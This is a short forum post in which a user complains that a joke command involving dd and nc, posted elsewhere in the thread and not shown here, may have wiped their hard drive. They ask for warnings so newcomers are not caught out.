Ay Caramba Does this do what I think it does and is equivalent to format c: in dos ?
There should have been some warning to this, as not everyone is familiar with the dd command (including me) I stupidly as a joke tried this, thinking that the nc command would actually do what was thought. Please remember that there are newbies and stubies here I've no idea if what I've done is fixable, but I'm not happy if I've lost all my data on my hard drive. I don't care about programs but my personal stuff is hard to replace. While it may be fun to take the mickey out of Osama, if you lost all your personal data, and didn't have a backup mechanism available to restore it from, would you be happy ?
